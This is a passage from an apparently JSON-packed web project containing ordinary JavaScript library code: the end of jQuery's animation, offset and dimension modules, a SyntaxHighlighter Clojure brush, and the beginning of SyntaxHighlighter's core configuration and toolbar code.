!gotoEnd ) {\n\t\t\tthis.dequeue();\n\t\t}\n\n\t\treturn this;\n\t}\n\n});\n\n// Generate shortcuts for custom animations\njQuery.each({\n\tslideDown: genFx(\"show\", 1),\n\tslideUp: genFx(\"hide\", 1),\n\tslideToggle: genFx(\"toggle\", 1),\n\tfadeIn: { opacity: \"show\" },\n\tfadeOut: { opacity: \"hide\" }\n}, function( name, props ) {\n\tjQuery.fn[ name ] = function( speed, callback ) {\n\t\treturn this.animate( props, speed, callback );\n\t};\n});\n\njQuery.extend({\n\tspeed: function( speed, easing, fn ) {\n\t\tvar opt = speed && typeof speed === \"object\" ? speed : {\n\t\t\tcomplete: fn || !fn && easing ||\n\t\t\t\tjQuery.isFunction( speed ) && speed,\n\t\t\tduration: speed,\n\t\t\teasing: fn && easing || easing && !jQuery.isFunction(easing) && easing\n\t\t};\n\n\t\topt.duration = jQuery.fx.off ? 0 : typeof opt.duration === \"number\" ? opt.duration :\n\t\t\tjQuery.fx.speeds[opt.duration] || jQuery.fx.speeds._default;\n\n\t\t// Queueing\n\t\topt.old = opt.complete;\n\t\topt.complete = function() {\n\t\t\tif ( opt.queue !== false ) {\n\t\t\t\tjQuery(this).dequeue();\n\t\t\t}\n\t\t\tif ( jQuery.isFunction( opt.old ) ) {\n\t\t\t\topt.old.call( this );\n\t\t\t}\n\t\t};\n\n\t\treturn opt;\n\t},\n\n\teasing: {\n\t\tlinear: function( p, n, firstNum, diff ) {\n\t\t\treturn firstNum + diff * p;\n\t\t},\n\t\tswing: function( p, n, firstNum, diff ) {\n\t\t\treturn ((-Math.cos(p*Math.PI)/2) + 0.5) * diff + firstNum;\n\t\t}\n\t},\n\n\ttimers: [],\n\n\tfx: function( elem, options, prop ) {\n\t\tthis.options = options;\n\t\tthis.elem = elem;\n\t\tthis.prop = prop;\n\n\t\tif ( !options.orig ) {\n\t\t\toptions.orig = {};\n\t\t}\n\t}\n\n});\n\njQuery.fx.prototype = {\n\t// Simple function for setting a style value\n\tupdate: function() {\n\t\tif ( this.options.step ) {\n\t\t\tthis.options.step.call( this.elem, this.now, this );\n\t\t}\n\n\t\t(jQuery.fx.step[this.prop] || jQuery.fx.step._default)( this );\n\n\t\t// Set display property to block for height/width animations\n\t\tif ( ( this.prop === \"height\" || this.prop === \"width\" ) && this.elem.style ) {\n\t\t\tthis.elem.style.display = \"block\";\n\t\t}\n\t},\n\n\t// Get the current size\n\tcur: function( force ) {\n\t\tif ( this.elem[this.prop] != null && (!this.elem.style || this.elem.style[this.prop] == null) ) {\n\t\t\treturn this.elem[ this.prop ];\n\t\t}\n\n\t\tvar r = parseFloat(jQuery.css(this.elem, this.prop, force));\n\t\treturn r && r > -10000 ? r : parseFloat(jQuery.curCSS(this.elem, this.prop)) || 0;\n\t},\n\n\t// Start an animation from one number to another\n\tcustom: function( from, to, unit ) {\n\t\tthis.startTime = now();\n\t\tthis.start = from;\n\t\tthis.end = to;\n\t\tthis.unit = unit || this.unit || \"px\";\n\t\tthis.now = this.start;\n\t\tthis.pos = this.state = 0;\n\n\t\tvar self = this;\n\t\tfunction t( gotoEnd ) {\n\t\t\treturn self.step(gotoEnd);\n\t\t}\n\n\t\tt.elem = this.elem;\n\n\t\tif ( t() && jQuery.timers.push(t) && !timerId ) {\n\t\t\ttimerId = setInterval(jQuery.fx.tick, 13);\n\t\t}\n\t},\n\n\t// Simple 'show' function\n\tshow: function() {\n\t\t// Remember where we started, so that we can go back to it later\n\t\tthis.options.orig[this.prop] = jQuery.style( this.elem, this.prop );\n\t\tthis.options.show = true;\n\n\t\t// Begin the animation\n\t\t// Make sure that we start at a small width/height to avoid any\n\t\t// flash of content\n\t\tthis.custom(this.prop === \"width\" || this.prop === \"height\" ? 1 : 0, this.cur());\n\n\t\t// Start by showing the element\n\t\tjQuery( this.elem ).show();\n\t},\n\n\t// Simple 'hide' function\n\thide: function() {\n\t\t// Remember where we started, so that we can go back to it later\n\t\tthis.options.orig[this.prop] = jQuery.style( this.elem, this.prop );\n\t\tthis.options.hide = true;\n\n\t\t// Begin the animation\n\t\tthis.custom(this.cur(), 0);\n\t},\n\n\t// Each step of an animation\n\tstep: function( gotoEnd ) {\n\t\tvar t = now(), done = true;\n\n\t\tif ( gotoEnd || t >= this.options.duration + this.startTime ) {\n\t\t\tthis.now = this.end;\n\t\t\tthis.pos = this.state = 1;\n\t\t\tthis.update();\n\n\t\t\tthis.options.curAnim[ this.prop ] = true;\n\n\t\t\tfor ( var i in this.options.curAnim ) {\n\t\t\t\tif ( this.options.curAnim[i] !== true ) {\n\t\t\t\t\tdone = false;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif ( done ) {\n\t\t\t\tif ( this.options.display != null ) {\n\t\t\t\t\t// Reset the overflow\n\t\t\t\t\tthis.elem.style.overflow = this.options.overflow;\n\n\t\t\t\t\t// Reset the display\n\t\t\t\t\tvar old = jQuery.data(this.elem, \"olddisplay\");\n\t\t\t\t\tthis.elem.style.display = old ? old : this.options.display;\n\n\t\t\t\t\tif ( jQuery.css(this.elem, \"display\") === \"none\" ) {\n\t\t\t\t\t\tthis.elem.style.display = \"block\";\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\t// Hide the element if the \"hide\" operation was done\n\t\t\t\tif ( this.options.hide ) {\n\t\t\t\t\tjQuery(this.elem).hide();\n\t\t\t\t}\n\n\t\t\t\t// Reset the properties, if the item has been hidden or shown\n\t\t\t\tif ( this.options.hide || this.options.show ) {\n\t\t\t\t\tfor ( var p in this.options.curAnim ) {\n\t\t\t\t\t\tjQuery.style(this.elem, p, this.options.orig[p]);\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\t// Execute the complete function\n\t\t\t\tthis.options.complete.call( this.elem );\n\t\t\t}\n\n\t\t\treturn false;\n\n\t\t} else {\n\t\t\tvar n = t - this.startTime;\n\t\t\tthis.state = n / this.options.duration;\n\n\t\t\t// Perform the easing function, defaults to swing\n\t\t\tvar specialEasing = this.options.specialEasing && this.options.specialEasing[this.prop];\n\t\t\tvar defaultEasing = this.options.easing || (jQuery.easing.swing ? \"swing\" : \"linear\");\n\t\t\tthis.pos = jQuery.easing[specialEasing || defaultEasing](this.state, n, 0, 1, this.options.duration);\n\t\t\tthis.now = this.start + ((this.end - this.start) * this.pos);\n\n\t\t\t// Perform the next step of the animation\n\t\t\tthis.update();\n\t\t}\n\n\t\treturn true;\n\t}\n};\n\njQuery.extend( jQuery.fx, {\n\ttick: function() {\n\t\tvar timers = jQuery.timers;\n\n\t\tfor ( var i = 0; i < timers.length; i++ ) {\n\t\t\tif ( !timers[i]() ) {\n\t\t\t\ttimers.splice(i--, 1);\n\t\t\t}\n\t\t}\n\n\t\tif ( !timers.length ) {\n\t\t\tjQuery.fx.stop();\n\t\t}\n\t},\n\t\t\n\tstop: function() {\n\t\tclearInterval( timerId );\n\t\ttimerId = null;\n\t},\n\t\n\tspeeds: {\n\t\tslow: 600,\n \t\tfast: 200,\n \t\t// Default speed\n \t\t_default: 400\n\t},\n\n\tstep: {\n\t\topacity: function( fx ) {\n\t\t\tjQuery.style(fx.elem, \"opacity\", fx.now);\n\t\t},\n\n\t\t_default: function( fx ) {\n\t\t\tif ( fx.elem.style && fx.elem.style[ fx.prop ] != null ) {\n\t\t\t\tfx.elem.style[ fx.prop ] = (fx.prop === \"width\" || fx.prop === \"height\" ? Math.max(0, fx.now) : fx.now) + fx.unit;\n\t\t\t} else {\n\t\t\t\tfx.elem[ fx.prop ] = fx.now;\n\t\t\t}\n\t\t}\n\t}\n});\n\nif ( jQuery.expr && jQuery.expr.filters ) {\n\tjQuery.expr.filters.animated = function( elem ) {\n\t\treturn jQuery.grep(jQuery.timers, function( fn ) {\n\t\t\treturn elem === fn.elem;\n\t\t}).length;\n\t};\n}\n\nfunction genFx( type, num ) {\n\tvar obj = {};\n\n\tjQuery.each( fxAttrs.concat.apply([], fxAttrs.slice(0,num)), function() {\n\t\tobj[ this ] = type;\n\t});\n\n\treturn obj;\n}\nif ( \"getBoundingClientRect\" in document.documentElement ) {\n\tjQuery.fn.offset = function( options ) {\n\t\tvar elem = this[0];\n\n\t\tif ( options ) { \n\t\t\treturn this.each(function( i ) {\n\t\t\t\tjQuery.offset.setOffset( this, options, i );\n\t\t\t});\n\t\t}\n\n\t\tif ( !elem || !elem.ownerDocument ) {\n\t\t\treturn null;\n\t\t}\n\n\t\tif ( elem === elem.ownerDocument.body ) {\n\t\t\treturn jQuery.offset.bodyOffset( elem );\n\t\t}\n\n\t\tvar box = elem.getBoundingClientRect(), doc = elem.ownerDocument, body = doc.body, docElem = doc.documentElement,\n\t\t\tclientTop = docElem.clientTop || body.clientTop || 0, clientLeft = docElem.clientLeft || body.clientLeft || 0,\n\t\t\ttop  = box.top  + (self.pageYOffset || jQuery.support.boxModel && docElem.scrollTop  || body.scrollTop ) - clientTop,\n\t\t\tleft = box.left + (self.pageXOffset || jQuery.support.boxModel && docElem.scrollLeft || body.scrollLeft) - clientLeft;\n\n\t\treturn { top: top, left: left };\n\t};\n\n} else {\n\tjQuery.fn.offset = function( options ) {\n\t\tvar elem = this[0];\n\n\t\tif ( options ) { \n\t\t\treturn this.each(function( i ) {\n\t\t\t\tjQuery.offset.setOffset( this, options, i );\n\t\t\t});\n\t\t}\n\n\t\tif ( !elem || !elem.ownerDocument ) {\n\t\t\treturn null;\n\t\t}\n\n\t\tif ( elem === elem.ownerDocument.body ) {\n\t\t\treturn jQuery.offset.bodyOffset( elem );\n\t\t}\n\n\t\tjQuery.offset.initialize();\n\n\t\tvar offsetParent = elem.offsetParent, prevOffsetParent = elem,\n\t\t\tdoc = elem.ownerDocument, computedStyle, docElem = doc.documentElement,\n\t\t\tbody = doc.body, defaultView = doc.defaultView,\n\t\t\tprevComputedStyle = defaultView ? defaultView.getComputedStyle( elem, null ) : elem.currentStyle,\n\t\t\ttop = elem.offsetTop, left = elem.offsetLeft;\n\n\t\twhile ( (elem = elem.parentNode) && elem !== body && elem !== docElem ) {\n\t\t\tif ( jQuery.offset.supportsFixedPosition && prevComputedStyle.position === \"fixed\" ) {\n\t\t\t\tbreak;\n\t\t\t}\n\n\t\t\tcomputedStyle = defaultView ? defaultView.getComputedStyle(elem, null) : elem.currentStyle;\n\t\t\ttop  -= elem.scrollTop;\n\t\t\tleft -= elem.scrollLeft;\n\n\t\t\tif ( elem === offsetParent ) {\n\t\t\t\ttop  += elem.offsetTop;\n\t\t\t\tleft += elem.offsetLeft;\n\n\t\t\t\tif ( jQuery.offset.doesNotAddBorder && !(jQuery.offset.doesAddBorderForTableAndCells && /^t(able|d|h)$/i.test(elem.nodeName)) ) {\n\t\t\t\t\ttop  += parseFloat( computedStyle.borderTopWidth  ) || 0;\n\t\t\t\t\tleft += parseFloat( computedStyle.borderLeftWidth ) || 0;\n\t\t\t\t}\n\n\t\t\t\tprevOffsetParent = offsetParent, offsetParent = elem.offsetParent;\n\t\t\t}\n\n\t\t\tif ( jQuery.offset.subtractsBorderForOverflowNotVisible && computedStyle.overflow !== \"visible\" ) {\n\t\t\t\ttop  += parseFloat( computedStyle.borderTopWidth  ) || 0;\n\t\t\t\tleft += parseFloat( computedStyle.borderLeftWidth ) || 0;\n\t\t\t}\n\n\t\t\tprevComputedStyle = computedStyle;\n\t\t}\n\n\t\tif ( prevComputedStyle.position === \"relative\" || prevComputedStyle.position === \"static\" ) {\n\t\t\ttop  += body.offsetTop;\n\t\t\tleft += body.offsetLeft;\n\t\t}\n\n\t\tif ( jQuery.offset.supportsFixedPosition && prevComputedStyle.position === \"fixed\" ) {\n\t\t\ttop  += Math.max( docElem.scrollTop, body.scrollTop );\n\t\t\tleft += Math.max( docElem.scrollLeft, body.scrollLeft );\n\t\t}\n\n\t\treturn { top: top, left: left };\n\t};\n}\n\njQuery.offset = {\n\tinitialize: function() {\n\t\tvar body = document.body, container = document.createElement(\"div\"), innerDiv, checkDiv, table, td, bodyMarginTop = parseFloat( jQuery.curCSS(body, \"marginTop\", true) ) || 0,\n\t\t\thtml = \"<div style='position:absolute;top:0;left:0;margin:0;border:5px solid #000;padding:0;width:1px;height:1px;'><div></div></div><table style='position:absolute;top:0;left:0;margin:0;border:5px solid #000;padding:0;width:1px;height:1px;' cellpadding='0' cellspacing='0'><tr><td></td></tr></table>\";\n\n\t\tjQuery.extend( container.style, { position: \"absolute\", top: 0, left: 0, margin: 0, border: 0, width: \"1px\", height: \"1px\", visibility: \"hidden\" } );\n\n\t\tcontainer.innerHTML = html;\n\t\tbody.insertBefore( container, body.firstChild );\n\t\tinnerDiv = container.firstChild;\n\t\tcheckDiv = innerDiv.firstChild;\n\t\ttd = innerDiv.nextSibling.firstChild.firstChild;\n\n\t\tthis.doesNotAddBorder = (checkDiv.offsetTop !== 5);\n\t\tthis.doesAddBorderForTableAndCells = (td.offsetTop === 5);\n\n\t\tcheckDiv.style.position = \"fixed\", checkDiv.style.top = \"20px\";\n\t\t// safari subtracts parent border width here which is 5px\n\t\tthis.supportsFixedPosition = (checkDiv.offsetTop === 20 || checkDiv.offsetTop === 15);\n\t\tcheckDiv.style.position = checkDiv.style.top = \"\";\n\n\t\tinnerDiv.style.overflow = \"hidden\", innerDiv.style.position = \"relative\";\n\t\tthis.subtractsBorderForOverflowNotVisible = (checkDiv.offsetTop === -5);\n\n\t\tthis.doesNotIncludeMarginInBodyOffset = (body.offsetTop !== bodyMarginTop);\n\n\t\tbody.removeChild( container );\n\t\tbody = container = innerDiv = checkDiv = table = td = null;\n\t\tjQuery.offset.initialize = jQuery.noop;\n\t},\n\n\tbodyOffset: function( body ) {\n\t\tvar top = body.offsetTop, left = body.offsetLeft;\n\n\t\tjQuery.offset.initialize();\n\n\t\tif ( jQuery.offset.doesNotIncludeMarginInBodyOffset ) {\n\t\t\ttop  += parseFloat( jQuery.curCSS(body, \"marginTop\",  true) ) || 0;\n\t\t\tleft += parseFloat( jQuery.curCSS(body, \"marginLeft\", true) ) || 0;\n\t\t}\n\n\t\treturn { top: top, left: left };\n\t},\n\t\n\tsetOffset: function( elem, options, i ) {\n\t\t// set position first, in-case top/left are set even on static elem\n\t\tif ( /static/.test( jQuery.curCSS( elem, \"position\" ) ) ) {\n\t\t\telem.style.position = \"relative\";\n\t\t}\n\t\tvar curElem   = jQuery( elem ),\n\t\t\tcurOffset = curElem.offset(),\n\t\t\tcurTop    = parseInt( jQuery.curCSS( elem, \"top\",  true ), 10 ) || 0,\n\t\t\tcurLeft   = parseInt( jQuery.curCSS( elem, \"left\", true ), 10 ) || 0;\n\n\t\tif ( jQuery.isFunction( options ) ) {\n\t\t\toptions = options.call( elem, i, curOffset );\n\t\t}\n\n\t\tvar props = {\n\t\t\ttop:  (options.top  - curOffset.top)  + curTop,\n\t\t\tleft: (options.left - curOffset.left) + curLeft\n\t\t};\n\t\t\n\t\tif ( \"using\" in options ) {\n\t\t\toptions.using.call( elem, props );\n\t\t} else {\n\t\t\tcurElem.css( props );\n\t\t}\n\t}\n};\n\n\njQuery.fn.extend({\n\tposition: function() {\n\t\tif ( !this[0] ) {\n\t\t\treturn null;\n\t\t}\n\n\t\tvar elem = this[0],\n\n\t\t// Get *real* offsetParent\n\t\toffsetParent = this.offsetParent(),\n\n\t\t// Get correct offsets\n\t\toffset       = this.offset(),\n\t\tparentOffset = /^body|html$/i.test(offsetParent[0].nodeName) ? { top: 0, left: 0 } : offsetParent.offset();\n\n\t\t// Subtract element margins\n\t\t// note: when an element has margin: auto the offsetLeft and marginLeft\n\t\t// are the same in Safari causing offset.left to incorrectly be 0\n\t\toffset.top  -= parseFloat( jQuery.curCSS(elem, \"marginTop\",  true) ) || 0;\n\t\toffset.left -= parseFloat( jQuery.curCSS(elem, \"marginLeft\", true) ) || 0;\n\n\t\t// Add offsetParent borders\n\t\tparentOffset.top  += parseFloat( jQuery.curCSS(offsetParent[0], \"borderTopWidth\",  true) ) || 0;\n\t\tparentOffset.left += parseFloat( jQuery.curCSS(offsetParent[0], \"borderLeftWidth\", true) ) || 0;\n\n\t\t// Subtract the two offsets\n\t\treturn {\n\t\t\ttop:  offset.top  - parentOffset.top,\n\t\t\tleft: offset.left - parentOffset.left\n\t\t};\n\t},\n\n\toffsetParent: function() {\n\t\treturn this.map(function() {\n\t\t\tvar offsetParent = this.offsetParent || document.body;\n\t\t\twhile ( offsetParent && (!/^body|html$/i.test(offsetParent.nodeName) && jQuery.css(offsetParent, \"position\") === \"static\") ) {\n\t\t\t\toffsetParent = offsetParent.offsetParent;\n\t\t\t}\n\t\t\treturn offsetParent;\n\t\t});\n\t}\n});\n\n\n// Create scrollLeft and scrollTop methods\njQuery.each( [\"Left\", \"Top\"], function( i, name ) {\n\tvar method = \"scroll\" + name;\n\n\tjQuery.fn[ method ] = function(val) {\n\t\tvar elem = this[0], win;\n\t\t\n\t\tif ( !elem ) {\n\t\t\treturn null;\n\t\t}\n\n\t\tif ( val !== undefined ) {\n\t\t\t// Set the scroll offset\n\t\t\treturn this.each(function() {\n\t\t\t\twin = getWindow( this );\n\n\t\t\t\tif ( win ) {\n\t\t\t\t\twin.scrollTo(\n\t\t\t\t\t\t!i ? val : jQuery(win).scrollLeft(),\n\t\t\t\t\t\t i ? val : jQuery(win).scrollTop()\n\t\t\t\t\t);\n\n\t\t\t\t} else {\n\t\t\t\t\tthis[ method ] = val;\n\t\t\t\t}\n\t\t\t});\n\t\t} else {\n\t\t\twin = getWindow( elem );\n\n\t\t\t// Return the scroll offset\n\t\t\treturn win ? (\"pageXOffset\" in win) ? win[ i ? \"pageYOffset\" : \"pageXOffset\" ] :\n\t\t\t\tjQuery.support.boxModel && win.document.documentElement[ method ] ||\n\t\t\t\t\twin.document.body[ method ] :\n\t\t\t\telem[ method ];\n\t\t}\n\t};\n});\n\nfunction getWindow( elem ) {\n\treturn (\"scrollTo\" in elem && elem.document) ?\n\t\telem :\n\t\telem.nodeType === 9 ?\n\t\t\telem.defaultView || elem.parentWindow :\n\t\t\tfalse;\n}\n// Create innerHeight, innerWidth, outerHeight and outerWidth methods\njQuery.each([ \"Height\", \"Width\" ], function( i, name ) {\n\n\tvar type = name.toLowerCase();\n\n\t// innerHeight and innerWidth\n\tjQuery.fn[\"inner\" + name] = function() {\n\t\treturn this[0] ?\n\t\t\tjQuery.css( this[0], type, false, \"padding\" ) :\n\t\t\tnull;\n\t};\n\n\t// outerHeight and outerWidth\n\tjQuery.fn[\"outer\" + name] = function( margin ) {\n\t\treturn this[0] ?\n\t\t\tjQuery.css( this[0], type, false, margin ? \"margin\" : \"border\" ) :\n\t\t\tnull;\n\t};\n\n\tjQuery.fn[ type ] = function( size ) {\n\t\t// Get window width or height\n\t\tvar elem = this[0];\n\t\tif ( !elem ) {\n\t\t\treturn size == null ? null : this;\n\t\t}\n\t\t\n\t\tif ( jQuery.isFunction( size ) ) {\n\t\t\treturn this.each(function( i ) {\n\t\t\t\tvar self = jQuery( this );\n\t\t\t\tself[ type ]( size.call( this, i, self[ type ]() ) );\n\t\t\t});\n\t\t}\n\n\t\treturn (\"scrollTo\" in elem && elem.document) ? // does it walk and quack like a window?\n\t\t\t// Everyone else use document.documentElement or document.body depending on Quirks vs Standards mode\n\t\t\telem.document.compatMode === \"CSS1Compat\" && elem.document.documentElement[ \"client\" + name ] ||\n\t\t\telem.document.body[ \"client\" + name ] :\n\n\t\t\t// Get document width or height\n\t\t\t(elem.nodeType === 9) ? // is it a document\n\t\t\t\t// Either scroll[Width/Height] or offset[Width/Height], whichever is greater\n\t\t\t\tMath.max(\n\t\t\t\t\telem.documentElement[\"client\" + name],\n\t\t\t\t\telem.body[\"scroll\" + name], elem.documentElement[\"scroll\" + name],\n\t\t\t\t\telem.body[\"offset\" + name], elem.documentElement[\"offset\" + name]\n\t\t\t\t) :\n\n\t\t\t\t// Get or set width or height on the element\n\t\t\t\tsize === undefined ?\n\t\t\t\t\t// Get width or height on the element\n\t\t\t\t\tjQuery.css( elem, type ) :\n\n\t\t\t\t\t// Set the width or height on the element (default to pixels if value is unitless)\n\t\t\t\t\tthis.css( type, typeof size === \"string\" ? size : size + \"px\" );\n\t};\n\n});\n// Expose jQuery to the global object\nwindow.jQuery = window.$ = jQuery;\n\n})(window);\n", "public/javascripts/shBrushClojure.js": "SyntaxHighlighter.brushes.Clojure = function()\n{\n        // Contributed by Travis Whitton\n\n        var funcs = ':arglists :doc :file :line :macro :name :ns :private :tag :test new alias alter ' +\n                    'and apply assert class cond conj count def defmacro defn defstruct deref do '     +\n                    'doall dorun doseq dosync eval filter finally find first fn gen-class gensym if '  +\n                    'import inc keys let list loop map ns or print println quote rand recur reduce '   +\n                    'ref repeat require rest send seq set sort str struct sync take test throw '       +\n                    'trampoline try type use var vec when while';\n\n        this.regexList = [\n                { regex: new RegExp(';[^\\]]+$', 'gm'),                           css: 'comments' },\n\t\t{ regex: SyntaxHighlighter.regexLib.multiLineDoubleQuotedString, css: 'string' },\n                { regex: /\\[|\\]/g,                                               css: 'keyword' },\n\t\t{ regex: /'[a-z][A-Za-z0-9_]*/g,                                 css: 'color1' }, // symbols\n\t\t{ regex: /:[a-z][A-Za-z0-9_]*/g,                                 css: 'color2' }, // keywords\n\t\t{ regex: new RegExp(this.getKeywords(funcs), 'gmi'),             css: 'functions' }\n            ];\n \n\tthis.forHtmlScript(SyntaxHighlighter.regexLib.aspScriptTags);\n}\n\nSyntaxHighlighter.brushes.Clojure.prototype     = new SyntaxHighlighter.Highlighter(); \nSyntaxHighlighter.brushes.Clojure.aliases       = ['clojure', 'Clojure', 'clj'];\n", "public/javascripts/shCore.js": "//\n// Begin anonymous function. This is used to contain local scope variables without polutting global scope.\n//\nif (!window.SyntaxHighlighter) var SyntaxHighlighter = function() { \n\n// Shortcut object which will be assigned to the SyntaxHighlighter variable.\n// This is a shorthand for local reference in order to avoid long namespace \n// references to SyntaxHighlighter.whatever...\nvar sh = {\n\tdefaults : {\n\t\t/** Additional CSS class names to be added to highlighter elements. */\n\t\t'class-name' : '',\n\t\t\n\t\t/** First line number. */\n\t\t'first-line' : 1,\n\t\t\n\t\t/**\n\t\t * Pads line numbers. Possible values are:\n\t\t *\n\t\t *   false - don't pad line numbers.\n\t\t *   true  - automaticaly pad numbers with minimum required number of leading zeroes.\n\t\t *   [int] - length up to which pad line numbers.\n\t\t */\n\t\t'pad-line-numbers' : true,\n\t\t\n\t\t/** Lines to highlight. */\n\t\t'highlight' : null,\n\t\t\n\t\t/** Enables or disables smart tabs. */\n\t\t'smart-tabs' : true,\n\t\t\n\t\t/** Gets or sets tab size. */\n\t\t'tab-size' : 4,\n\t\t\n\t\t/** Enables or disables gutter. */\n\t\t'gutter' : true,\n\t\t\n\t\t/** Enables or disables toolbar. */\n\t\t'toolbar' : true,\n\t\t\n\t\t/** Forces code view to be collapsed. */\n\t\t'collapse' : false,\n\t\t\n\t\t/** Enables or disables automatic links. */\n\t\t'auto-links' : true,\n\t\t\n\t\t/** Gets or sets light mode. Equavalent to turning off gutter and toolbar. */\n\t\t'light' : false,\n\t\t\n\t\t/** Enables or disables automatic line wrapping. */\n\t\t'wrap-lines' : true,\n\t\t\n\t\t'html-script' : false\n\t},\n\t\n\tconfig : {\n\t\t/** Enables use of <SCRIPT type=\"syntaxhighlighter\" /> tags. */\n\t\tuseScriptTags : true,\n\t\t\n\t\t/** Path to the copy to clipboard SWF file. */\n\t\tclipboardSwf : null,\n\n\t\t/** Width of an item in the toolbar. */\n\t\ttoolbarItemWidth : 16,\n\n\t\t/** Height of an item in the toolbar. */\n\t\ttoolbarItemHeight : 16,\n\t\t\n\t\t/** Blogger mode flag. */\n\t\tbloggerMode : false,\n\t\t\n\t\tstripBrs : false,\n\t\t\n\t\t/** Name of the tag that SyntaxHighlighter will automatically look for. */\n\t\ttagName : 'pre',\n\t\t\n\t\tstrings : {\n\t\t\texpandSource : 'show source',\n\t\t\tviewSource : 'view source',\n\t\t\tcopyToClipboard : 'copy to clipboard',\n\t\t\tcopyToClipboardConfirmation : 'The code is in your clipboard now',\n\t\t\tprint : 'print',\n\t\t\thelp : '?',\n\t\t\talert: 'SyntaxHighlighter\\n\\n',\n\t\t\tnoBrush : 'Can\\'t find brush for: ',\n\t\t\tbrushNotHtmlScript : 'Brush wasn\\'t configured for html-script option: ',\n\t\t\t\n\t\t\t// this is populated by the build script\n\t\t\taboutDialog : '@ABOUT@'\n\t\t},\n\n\t\t/** If true, output will show HTML produces instead. */\n\t\tdebug : false\n\t},\n\t\n\t/** Internal 'global' variables. */\n\tvars : {\n\t\tdiscoveredBrushes : null,\n\t\tspaceWidth : null,\n\t\tprintFrame : null,\n\t\thighlighters : {}\n\t},\n\t\n\t/** This object is populated by user included external brush files. */\n\tbrushes : {},\n\n\t/** Common regular expressions. */\n\tregexLib : {\n\t\tmultiLineCComments\t\t\t: /\\/\\*[\\s\\S]*?\\*\\//gm,\n\t\tsingleLineCComments\t\t\t: /\\/\\/.*$/gm,\n\t\tsingleLinePerlComments\t\t: /#.*$/gm,\n\t\tdoubleQuotedString\t\t\t: /\"([^\\\\\"\\n]|\\\\.)*\"/g,\n\t\tsingleQuotedString\t\t\t: /'([^\\\\'\\n]|\\\\.)*'/g,\n\t\tmultiLineDoubleQuotedString\t: /\"([^\\\\\"]|\\\\.)*\"/g,\n\t\tmultiLineSingleQuotedString\t: /'([^\\\\']|\\\\.)*'/g,\n\t\txmlComments\t\t\t\t\t: /(&lt;|<)!--[\\s\\S]*?--(&gt;|>)/gm,\n\t\turl\t\t\t\t\t\t\t: /&lt;\\w+:\\/\\/[\\w-.\\/?%&=@:;]*&gt;|\\w+:\\/\\/[\\w-.\\/?%&=@:;]*/g,\n\t\t\n\t\t/** <?= ?> tags. */\n\t\tphpScriptTags \t\t\t\t: { left: /(&lt;|<)\\?=?/g, right: /\\?(&gt;|>)/g },\n\t\t\n\t\t/** <%= %> tags. */\n\t\taspScriptTags\t\t\t\t: { left: /(&lt;|<)%=?/g, right: /%(&gt;|>)/g },\n\t\t\n\t\t/** <script></script> tags. */\n\t\tscriptScriptTags\t\t\t: { left: /(&lt;|<)\\s*script.*?(&gt;|>)/gi, right: /(&lt;|<)\\/\\s*script\\s*(&gt;|>)/gi }\n\t},\n\n\ttoolbar : {\n\t\t/**\n\t\t * Creates new toolbar for a highlighter.\n\t\t * @param {Highlighter} highlighter    Target highlighter.\n\t\t */\n\t\tcreate : function(highlighter)\n\t\t{\n\t\t\tvar div = document.createElement('DIV'),\n\t\t\t\titems = sh.toolbar.items\n\t\t\t\t;\n\t\t\t\n\t\t\tdiv.className = 'toolbar';\n\t\t\t\n\t\t\tfor (var name in items) \n\t\t\t{\n\t\t\t\tvar constructor = items[name],\n\t\t\t\t\tcommand = new constructor(highlighter),\n\t\t\t\t\telement = command.create()\n\t\t\t\t\t;\n\t\t\t\t\n\t\t\t\thighlighter.toolbarCommands[name] = command;\n\t\t\t\t\n\t\t\t\tif (element == null)\n\t\t\t\t\tcontinue;\n\t\t\t\t\t\n\t\t\t\tif (typeof(element) == 'string')\n\t\t\t\t\telement = sh.toolbar.createButton(element, highlighter.id, name);\n\t\t\t\t\n\t\t\t\telement.className += 'item ' + name;\n\t\t\t\tdiv.appendChild(element);\n\t\t\t}\n\t\t\t\n\t\t\treturn div;\n\t\t},\n\t\t\n\t\t/**\n\t\t * Create a standard anchor button for the toolbar.\n\t\t * @param {String} label\t\t\tLabel text to display.\n\t\t * @param {String} highlighterId\tHighlighter ID that this button would belong to.\n\t\t * @param {String} commandName\t\tCommand name that would be executed.\n\t\t * @return {Element}\t\t\t\tReturns an 'A' element.\n\t\t */\n\t\tcreateButton : function(label, highlighterId, commandName)\n\t\t{\n\t\t\tvar a = document.createElement('a'),\n\t\t\t\tstyle = a.style,\n\t\t\t\tconfig = sh.config,\n\t\t\t\twidth = config.toolbarItemWidth,\n\t\t\t\theight = config.toolbarItemHeight\n\t\t\t\t;\n\t\t\t\n\t\t\ta.href = '#' + commandName;\n\t\t\ta.title = label;\n\t\t\ta.highlighterId = highlighterId;\n\t\t\ta.commandName = commandName;\n\t\t\ta.innerHTML = label;\n\t\t\t\n\t\t\tif (isNaN(width) == false)\n\t\t\t\tstyle.width = width + 'px';\n\n\t\t\tif (isNaN(height) == false)\n\t\t\t\tstyle.height = height + 'px';\n\t\t\t\n\t\t\ta.onclick = function(e)\n\t\t\t{\n\t\t\t\ttry\n\t\t\t\t{\n\t\t\t\t\tsh.toolbar.executeCommand(\n\t\t\t\t\t\tthis, \n\t\t\t\t\t\te || window.event,\n\t\t\t\t\t\tthis.highlighterId, \n\t\t\t\t\t\tthis.commandName\n\t\t\t\t\t);\n\t\t\t\t}\n\t\t\t\tcatch(e)\n\t\t\t\t{\n\t\t\t\t\tsh.utils.alert(e.message);\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\treturn false;\n\t\t\t};\n\t\t\t\n\t\t\treturn a;\n\t\t},\n\t\t\n\t\t/**\n\t\t * Executes a toolbar command.\n\t\t * @param {Element}\t\tsender  \t\tSender element.\n\t\t * @param {MouseEvent}\tevent\t\t\tOriginal mouse event object.\n\t\t * @param {String}\t\thighlighterId\tHighlighter DIV element ID.\n\t\t * @param {String}\t\tcommandName\t\tName of the command to execute.\n\t\t * @return {Object} Passes out return value from command execution.\n\t\t */\n\t\texecuteCommand : function(sender, event, highlighterId, commandName, args)\n\t\t{\n\t\t\tvar highlighter = sh.vars.highlighters[highlighterId], \n\t\t\t\tcommand\n\t\t\t\t;\n\n\t\t\tif (highlighter == null || (command = highlighter.toolbarCommands[commandName]) == null) \n\t\t\t\treturn null;\n\n\t\t\treturn command.execute(sender, event, args);\n\t\t},\n\t\t\n\t\t/** Collection of toolbar items. */\n\t\titems : {\n\t\t\texpandSource : 